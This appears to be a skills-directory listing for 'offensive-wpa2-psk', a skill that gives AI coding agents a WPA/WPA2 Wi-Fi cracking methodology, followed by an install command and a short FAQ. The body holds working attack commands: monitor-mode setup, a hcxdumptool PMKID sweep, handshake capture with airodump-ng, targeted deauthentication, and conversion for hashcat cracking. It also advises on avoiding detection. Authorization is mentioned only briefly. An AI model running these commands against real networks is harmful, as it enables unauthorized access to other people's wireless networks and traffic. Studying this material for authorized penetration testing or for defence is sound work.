offensive-wpa2-psk
WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode.
npx skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk --agent claude-code
Same command for any agent — swap --agent for codex, cursor, copilot.
Weekly change comes from our own snapshots, not the repository page — it measures attention, not adoption.
# WPA/WPA2-PSK Attacks The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID). ## Quick Workflow 1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`) 2. Try PMKID first (fast, no client interaction) 3. Fall back to four-way handshake capture if PMKID isn't yielded 4. Convert capture to hashcat-compatible format 5. Crack offline with appropriate wordlist + rules + masks --- ## PMKID Attack (Preferred When Possible) The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed. ```bash # Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # Sweep PMKIDs across all visible APs sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 \ --filterlist_ap=targets.txt --filtermode=2 # Convert to hashcat format hcxpcapngtool -o hash.hc22000 pmkid.pcapng ``` `targets.txt` contains BSSIDs (one per line) you're authorized to attack
- Quick Workflow
- PMKID Attack (Preferred When Possible)
- Four-Way Handshake Capture
- Verifying the Capture
- Cracking
- Dictionary + Rules
- Mask Attacks for Common Default Patterns
- Vendor Default Generators
- 802.11r FT Cracking
- Tuning Cracking Performance
- Opportunistic Key Cache (OKC)
- Detection Considerations
- Engagement Cheatsheet
- Key References
Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US Sweep PMKIDs across all visible APs sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ Convert to hashcat format hcxpcapngtool -o hash.hc22000 pmkid.pcapng Pin to channel sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon Targeted deauth (single client, low volume)
What does the offensive-wpa2-psk skill do?
WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode.
How do I install it?
Run `npx skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk --agent claude-code` — it drops the skill into your project so the agent can pick it up. Swap the --agent value for codex, cursor or copilot if you use one of those.
Where does this skill come from?
From SnailSploit/Claude-Red, a repository with 2,808 stars. We read it straight from the repository tree rather than a submitted listing, so what you see here is what is actually published.
Is a popular skill a good skill?
Not necessarily. Stars measure attention, not adoption — a repository can trend for a week and be abandoned. That is why we show the weekly change from our own snapshots next to the total, instead of a single flattering number.